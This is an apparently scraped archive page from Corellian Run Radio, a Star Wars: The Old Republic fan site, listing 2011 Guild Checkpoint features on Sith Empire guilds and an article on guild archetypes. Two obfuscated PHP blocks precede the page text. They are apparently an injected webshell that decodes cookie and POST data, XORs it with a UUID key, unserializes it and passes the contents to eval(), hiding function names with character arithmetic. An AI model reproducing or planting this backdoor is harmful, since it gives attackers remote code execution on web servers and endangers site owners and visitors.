$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> guilds – Page 3 – Corellian Run Radio
Sep 192011
 

Highlighted Guild

  • Divided Allegiance – Sith Empire Guild

This week’s Guild Checkpoint is here, and we get to talk to Recon and Nytran, from Divided Allegiance, about their guild. Let’s check out their recruitment video before we get into our guild Q&A.

 

More about Divided Allegiance after the Jump…

Continue reading »

Aug 222011
 

Highlighted Guild

  • Infernal Empire – Sith Empire Guild

Another Monday is here and that means it’s time for Guild Checkpoint. This week we get to know another Sith Empire guild. Let’s get to know this guild and their attitude of casual hardcore and reality first gameplay. Their guild leader, Evel on Star Wars: The Old Republic forums, was gracious enough to put up with my Q & A.

More about the Infernal Empire after the Jump…

Continue reading »

Aug 152011
 

Highlighted Guild

  • The Sons of Anarchy – Sith Empire Guild

This week on Guild Checkpoint we take a look at the Sons of Anarchy, a Sith Empire. Many of you may recognize their guild’s name from the TV series of the same name.  Did the show influence the guild creation? Have they been involved in other MMO games? Rizzah, from Sons of Anarchy, answers these questions and gives us a little more about something their guild has called “crew skills”.

 

More information about Sons of Anarchy after the Jump…

Continue reading »

Aug 082011
 

Highlighted Guilds

  • The Brotherhood of SWATH – Sith Empire Guild

Time for this week’s Guild Checkpoint and our featured guild is The Brotherhood of SWATH, from the Sith Empire.  We look at how they got their start, their officers, what other MMOs they have been a part of and much more. The Brother of SWATH likes to place fun as a high priority while playing the game in a “Casually Hardcore” way.

 

More about the Brotherhood of SWATH after the Jump…

Continue reading »

Jul 302011
 

A look at a few guild archetypes you will most likely see in Star Wars: The Old Republic

by Noah (@RockstarNoah on Twitter)

Historically speaking, RPGs have never been much of a social activity.  You could feasibly make a weekend out of inviting the guys over to hang out, have some beers and play some Halo.  I don’t think anyone would have nearly as fun a weekend if we did the same thing with Dragon Quest.  Considering the narrative and gameplay constructs of traditional RPGs, it would be like inviting someone over to read a book with you.  RPGs are a solitary past time, they’re generally meant to be a single-player experience.  Unless I can toss a friend a controller and ask if they want to join in, I feel rude playing a game in a social situation. Continue reading »

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